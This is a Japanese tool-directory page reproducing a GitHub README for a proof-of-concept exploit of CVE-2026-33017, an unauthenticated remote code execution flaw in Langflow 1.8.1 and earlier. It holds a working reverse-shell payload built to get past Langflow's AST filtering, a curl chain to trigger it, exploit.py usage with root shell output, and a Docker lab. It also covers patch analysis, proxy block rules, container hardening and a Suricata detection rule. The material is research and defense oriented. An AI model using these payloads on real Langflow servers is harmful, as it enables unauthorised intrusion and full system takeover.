Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-33017 — Langflow <=1.8.1 における未認証RCEのPoCエクスプロイト。ソースレベルでの根本原因分析、AST対応のリバースシェルペイロード、Dockerラボ、パッチ差分、検出ルールを含みます。 | Kitploit
ツール/GitHubGitHub/lxxexxbxx/cve-2026-33017
脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ペイロード開発ラボと実践
GitHublxxexxbxx/cve-2026-33017

CVE-2026-33017

Langflow <=1.8.1 における未認証RCEのPoCエクスプロイト。ソースレベルでの根本原因分析、AST対応のリバースシェルペイロード、Dockerラボ、パッチ差分、検出ルールを含みます。

リポジトリを見る
116日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-33017 — Langflow Unauthenticated RCE PoC

免責事項
本リポジトリはセキュリティ研究および教育目的で作成されました。
隔離された演習環境でのみ使用してください。
許可されていないシステムへの使用は、情報通信網法違反となり、刑事処罰の対象となります。


1. 脆弱性の概要

項目内容
CVE IDCVE-2026-33017
脆弱ソフトウェアLangflow (AIワークフロービルダー)
影響バージョンLangflow ≤ 1.8.1
パッチバージョンLangflow ≥ 1.9.0
脆弱性タイプUnauthenticated Remote Code Execution (RCE)
CWECWE-306 (Missing Authentication for Critical Function)
CVSS9.3 (Critical)
CISA KEV登録済み

2. 脆弱性の原因分析

2-1. 脆弱なエンドポイント

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

Publicフロービルド用エンドポイントであり、認証なしでアクセス可能なように設計されたエンドポイントです。

2-2. コード実行経路 (Call Chain)

ソースコードを直接追跡して確認した実行経路:

root@kitploit:~
HTTP POST /api/v1/build_public_tmp/{flow_id}/flow
    │
    ▼
langflow/api/v1/chat.py — build_public_tmp()
    data = request.body["data"]          ← クライアント入力そのまま受信 (脆弱性)
    │
    ▼
langflow/api/build.py — start_flow_build()
    data = FlowDataRequest               ← クライアントdataをそのまま転送
    │
    ▼
lfx/custom/eval.py — eval_custom_component_code()
    class_name = validate.extract_class_name(code)
    return validate.create_class(code, class_name)
    │
    ▼
lfx/custom/validate.py — create_class()
    module = ast.parse(code)
    exec_globals = prepare_global_scope(module)
    │
    ▼
lfx/custom/validate.py — prepare_global_scope()
    exec(compiled_code, exec_globals)    ← 任意コード実行

2-3. ASTノードフィルタリング — ペイロード設計の核心的制約

prepare_global_scope() 関数は、提出されたコードのすべての構文を実行するわけではありません。AST解析後、特定のノードタイプのみを選別して実行します:

root@kitploit:~
# lfx/custom/validate.py — prepare_global_scope() 内部
for node in module.body:
    if isinstance(node, ast.Import):
        imports.append(node)
    elif isinstance(node, ast.ImportFrom):
        import_froms.append(node)
    elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
        definitions.append(node)
    # ↑ Exprノードはどこにも含まれない → 実行されない

exec(compiled_code, exec_globals)  # definitionsのみ実行

実行可能なASTノードタイプ:

結論: ペイロードは必ず Assign 形式(_r = ...)で記述しなければ実行されません。
単純な関数呼び出し(os.system("id"))は Expr ノードに分類され、フィルターで除外されます。

2-4. リバースシェルペイロードの設計過程 — 試行と失敗の分析

演習過程で複数のペイロード方式を試行し、それぞれの失敗原因をソースレベルで解明しました。

試行1 — subprocess.Popen + wait() (失敗)

root@kitploit:~
_s = socket.socket()
_s.connect(("attacker", 4444))
_proc = subprocess.Popen(["/bin/bash", "-i"], stdin=_s.fileno(), ...)
_proc.wait()   # ← ここでブロッキング

失敗原因: Langflowワーカースレッドがコンポーネントの戻り値を監視し、
タイムアウト時にソケットを強制的に閉じます。_proc.wait() ブロッキングが無意味になります。

試行2 — os.execve() 直接呼び出し (失敗)

root@kitploit:~
os.dup2(_fd, 0); os.dup2(_fd, 1); os.dup2(_fd, 2)
os.execve("/bin/bash", ["/bin/bash", "-i"], os.environ.copy())

失敗原因: POSIX規則上、マルチスレッドプロセスで execve() を呼び出すと、
呼び出しスレッド以外のすべてのスレッドが終了します → uvicornワーカー全体がクラッシュ → HTTP 500。

試行3 — os.fork() + execve() (失敗)

root@kitploit:~
_pid = os.fork()
if _pid == 0:
    os.execve("/bin/bash", ...)

失敗原因: uvicornが子プロセスを異常終了として検知し、
ワーカーを再起動させます → HTTP 500。

試行4 — threading.Thread(daemon=True) (失敗)

root@kitploit:~
threading.Thread(target=_shell, daemon=True).start()

失敗原因: daemon=True スレッドはメインスレッド(Langflowワーカー)終了時に
一緒に破棄されます。connect() 試行前にスレッドが死んでしまいます。

最終動作ペイロード — threading.Thread(daemon=False) + Assign

root@kitploit:~
# FunctionDef → 実行される
def _shell():
    _s = socket.socket()
    _s.connect(("attacker_ip", 4444))
    _p = subprocess.Popen(["/bin/bash", "-i"],
        stdin=_s.fileno(), stdout=_s.fileno(), stderr=_s.fileno())
    _p.wait()
    _s.close()

# Assign → 実行される (Expr単独呼び出しはフィルターから除外されるため、必ず変数代入)
_t = threading.Thread(target=_shell, daemon=False)
_r = _t.start()

daemon=False を選択した理由:

  • daemon=True → Langflowワーカースレッド終了時に一緒に破棄
  • daemon=False → ワーカーと独立したライフサイクル → ソケット接続を維持可能

3. 演習環境の構成

3-1. ファイル構成

root@kitploit:~
CVE-2026-33017/
├── README.md
├── Dockerfile              # 脆弱なLangflow 1.8.1環境
├── Dockerfile.attacker     # 攻撃者コンテナ (curl, nc, net-tools含む)
├── docker-compose.yml      # 脆弱サーバー + 攻撃者コンテナ
├── entrypoint.sh           # Langflow起動とPublicフローの自動生成
├── exploit.py              # リバースシェルPoC
└── poc.py                  # Blind RCE / 脆弱性の存在確認

3-2. 環境の起動

root@kitploit:~
# 1. コンテナのビルドと起動
docker compose up --build

# 2. Langflow Web UIへのアクセス確認
# http://localhost:7860
# admin / admin123!

# 3. コンテナIPの確認
docker inspect langflow-vuln-lab | grep '"IPAddress"'
docker inspect langflow-attacker | grep '"IPAddress"'

3-3. ネットワーク構成

root@kitploit:~
┌──────────────────────────────────────────────────┐
│  Docker Bridge Network: poc-net                  │
│                                                  │
│  langflow-vuln-lab   172.19.0.2:7860  (被害者)  │
│  langflow-attacker   172.19.0.3       (攻撃者)  │
└──────────────────────────────────────────────────┘

4. PoCの使用方法

4-1. exploit.py — リバースシェル

攻撃者コンテナ内で実行:

root@kitploit:~
docker exec -it langflow-attacker bash

# 自動モード (トークン発行 + Publicフロー生成 + 内蔵リスナー含む)
python3 exploit.py \
  --url http://172.19.0.2:7860 \
  --lhost 172.19.0.3 \
  --lport 4444

オプション:

期待される出力:

root@kitploit:~
============================================================
  CVE-2026-33017 — Langflow Unauthenticated RCE PoC
============================================================
[*] ログイン中... (admin)
[*] トークン発行成功
[*] Publicフロー生成中...
[*] Flow ID    : 3b88b6fa-ce95-4da8-894b-27b728ca4770
[*] リスナー起動 → 0.0.0.0:4444
[*] エンドポイント : http://172.19.0.2:7860/api/v1/build_public_tmp/...
[*] コールバック : 172.19.0.3:4444
[*] ペイロード送信中...
[*] HTTP応答  : 200

[+] シェル接続済み  ← 172.19.0.2:XXXXX
────────────────────────────────────────────────────────────
bash-5.2# id
uid=0(root) gid=0(root) groups=0(root)

4-2. poc.py — Blind RCE確認

脆弱性の存在有無のみを確認する場合に使用:

root@kitploit:~
python3 poc.py \
  --url http://172.19.0.2:7860 \
  --cmd "id"

4-3. curlによる手動再現

root@kitploit:~
# 1. トークン発行 + Publicフロー生成
TOKEN=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/login' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=admin&password=admin123!' \
  | sed -n 's/.*"access_token":"\([^"]*\)".*/\1/p') && \
FLOW_ID=$(curl -s -X POST 'http://172.19.0.2:7860/api/v1/flows/' \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"poc-flow","data":{"nodes":[],"edges":[],"viewport":{}},"is_component":false,"access_type":"PUBLIC"}' \
  | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['id'])") && \
curl -s -X PATCH "http://172.19.0.2:7860/api/v1/flows/${FLOW_ID}" \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"access_type":"PUBLIC"}' > /dev/null && \
echo "FLOW_ID: $FLOW_ID"

# 2. ncリスナー (ターミナル1)
nc -lvnp 4444

# 3. ペイロード送信 (ターミナル2)
curl -s -X POST "http://172.19.0.2:7860/api/v1/build_public_tmp/${FLOW_ID}/flow" \
  -H 'Content-Type: application/json' \
  -b 'client_id=poc-12345' \
  -d @/tmp/payload.json

5. exploit.py vs poc.py の役割分担


6. パッチ分析 — 1.8.1 vs 1.9.1

6-1. 脆弱なコード (1.8.1)

langflow/api/v1/chat.py:

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    data: FlowDataRequest | None = None,  # ← クライアント入力を受信
    ...
):
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=data,   # ← クライアントのdataをそのままビルドパイプラインに転送
        ...
    )

6-2. パッチコード (1.9.1)

langflow/api/v1/chat.py (ソースで直接確認):

root@kitploit:~
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
    *,
    flow_id: uuid.UUID,
    # dataパラメータをシグネチャから完全に削除
    ...
):
    """
    Security Note:
    - The 'data' parameter is NOT accepted to prevent flow definition tampering
    - Public flows must execute the stored flow definition only
    - The flow definition is always loaded from the database
    """
    job_id = await start_flow_build(
        flow_id=new_flow_id,
        data=None,            # ← ハードコードされたNone、クライアント入力を完全に遮断
        source_flow_id=flow_id,  # ← DBからのみフロー定義をロード
        ...
    )

6-3. パッチ前後の動作比較

6-4. パッチ設計の評価

単純な入力値検証ではなくパラメータ自体を削除した設計が正しい理由:

root@kitploit:~
脆弱な設計: クライアント入力 → 検証 → 実行  (検証回避の可能性あり)
パッチ設計: クライアント入力 → 完全に無視
             DB保存フローのみ → 実行        (攻撃経路自体を除去)

7. 対策方法

対策1 — バージョン更新 (根本的解決)

root@kitploit:~
pip install langflow==1.9.1

対策2 — Nginxリバースプロキシによるエンドポイント遮断

ファイルの場所: nginx.conf (新規作成)

root@kitploit:~
server {
    listen 80;

    # CVE-2026-33017 脆弱エンドポイントを遮断
    location ~ ^/api/v1/build_public_tmp/ {
        deny all;
        return 403;
    }

    location / {
        proxy_pass http://langflow:7860;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

注意: Langflow 7860ポートの外部への直接公開も遮断しないと効果がありません。

対策3 — Apacheリバースプロキシによるエンドポイント遮断

ファイルの場所:

  • Ubuntu/Debian: /etc/apache2/sites-available/langflow.conf
  • CentOS/RHEL: /etc/httpd/conf.d/langflow.conf
root@kitploit:~
<Location "/api/v1/build_public_tmp/">
    Require all denied
</Location>

対策4 — Publicフロー不使用ポリシー

Publicフローがなければエンドポイントが404を返すため攻撃不可。
運用ポリシーとしてPublicフローの作成を禁止するか、既存フローをPRIVATEに変更します。

対策5 — AWSセキュリティグループ (ネットワークレベル)

EC2環境の場合:

root@kitploit:~
インバウンドルール:
  ポート7860 → 許可されたIPのみ許可 (0.0.0.0/0を削除)

対策6 — コンテナのアウトバウンド遮断 (リバースシェルコールバック遮断)

RCEが成功しても外部コールバックを遮断:

root@kitploit:~
# langflowコンテナのアウトバウンドを遮断
iptables -I DOCKER-USER -s <langflow_container_ip> -j DROP

または docker-compose.yml:

root@kitploit:~
langflow-vuln-lab:
  sysctls:
    - net.ipv4.ip_forward=0

対策7 — コンテナのハードニング (被害の最小化)

root@kitploit:~
langflow-vuln-lab:
  security_opt:
    - no-new-privileges:true
  cap_drop:
    - ALL
  user: "1000:1000"
  read_only: true
  tmpfs:
    - /tmp

seccompプロファイルで危険なsyscallを遮断 (langflow-seccomp.json):

root@kitploit:~
{
  "defaultAction": "SCMP_ACT_ALLOW",
  "syscalls": [
    {
      "names": ["socket", "connect", "fork", "execve"],
      "action": "SCMP_ACT_ERRNO"
    }
  ]
}
root@kitploit:~
security_opt:
  - seccomp:./langflow-seccomp.json

対策方法の総合


8. 検知 — IoC

検知パターン

疑わしいHTTPリクエスト:

root@kitploit:~
POST /api/v1/build_public_tmp/*/flow
Content-Type: application/json
Body: {"data": {"nodes": [{"type": "CustomComponent", ...}]}}

Langflowサーバーログパターン:

root@kitploit:~
[warning] Graph has vertices but no edges
[warning] ExploitComponent returned None.
[error]   Exception in worker process

Suricata/Snortルール

root@kitploit:~
alert http any any -> any 7860 (
    msg:"CVE-2026-33017 Langflow RCE Attempt";
    flow:established,to_server;
    content:"POST"; http_method;
    content:"/build_public_tmp/"; http_uri;
    content:"CustomComponent"; http_client_body;
    classtype:web-application-attack;
    sid:2026033017; rev:1;
)

9. 参考資料

  • NVD — CVE-2026-33017
  • EQSTLab/CVE-2026-33017
  • Langflow公式パッチコミット
  • CISA KEV
  • JFrog Security Research

10. 既存の公開PoCとの相違点

本リポジトリは単純なPoC実行ではなく、ソースレベル分析を通じて以下を追加で解明しました:

  1. ASTノードフィルタリングの発見
    lfx/custom/validate.py の prepare_global_scope() が Expr ノードを無視する事実をソース分析で直接確認。これにより、既存の公開PoCの単純な関数呼び出しペイロードがこの環境で失敗する理由を解明。

  2. ペイロード失敗原因の分析
    Popen+wait()、execve()、fork()+execve()、daemon=True スレッドなど4つの方式の失敗原因を、uvicornマルチスレッド構造およびPOSIX規則の観点から分析。

  3. パッチコードの直接確認
    1.9.1の chat.py で data=None のハードコードおよびパラメータ削除をソースレベルで直接確認し、パッチ設計の意図を分析。

ツールをダウンロード
ASTノードタイプ例実行可否
FunctionDefdef _shell(): ...✅ 実行
ClassDefclass ExploitComponent(Component)✅ 実行
Assign_r = os.system("id")✅ 実行
AnnAssign_r: int = os.system("id")✅ 実行
Expros.system("id") (単独呼び出し)❌ 無視
オプション説明デフォルト値
--url対象Langflow URL必須
--lhostリバースシェルコールバックIP必須
--lportリバースシェルコールバックポート必須
--flow-idPublicフローUUID (省略時は自動生成)自動
--user管理者IDadmin
--password管理者PWadmin123!
--no-listen内蔵リスナー無効化 (外部nc使用時)False
--timeoutHTTPタイムアウト(秒)30
項目exploit.pypoc.py
目的リバースシェル取得脆弱性の存在確認 (Blind RCE)
結果確認攻撃者ターミナルで直接サーバーログ / OOB
リスナー内蔵あり不要
複数対象非対応対応 (--url-file)
演習用途影響度の実証脆弱性の存在証明
項目1.8.1 (脆弱)1.9.1 (パッチ適用)
dataパラメータ受信✅ 受信❌ シグネチャから削除
クライアントのノード定義実行✅ 可能❌ 不可
フロー定義の出所クライアントリクエストボディDB保存値のみ
認証なしのRCE✅ 成功❌ 遮断
HTTP応答200 + シェル接続200 (空のビルド、ノードなし)
対策タイプ効果
1.9.1アップデート根本的解決dataパラメータの削除
Nginx/Apache遮断アクセス遮断攻撃経路の遮断
Publicフロー不使用アクセス遮断エンドポイント404
AWSセキュリティグループネットワーク遮断外部アクセスの根本的遮断
アウトバウンド遮断事後遮断リバースシェルコールバック遮断
コンテナハードニング被害の最小化権限昇格/syscall遮断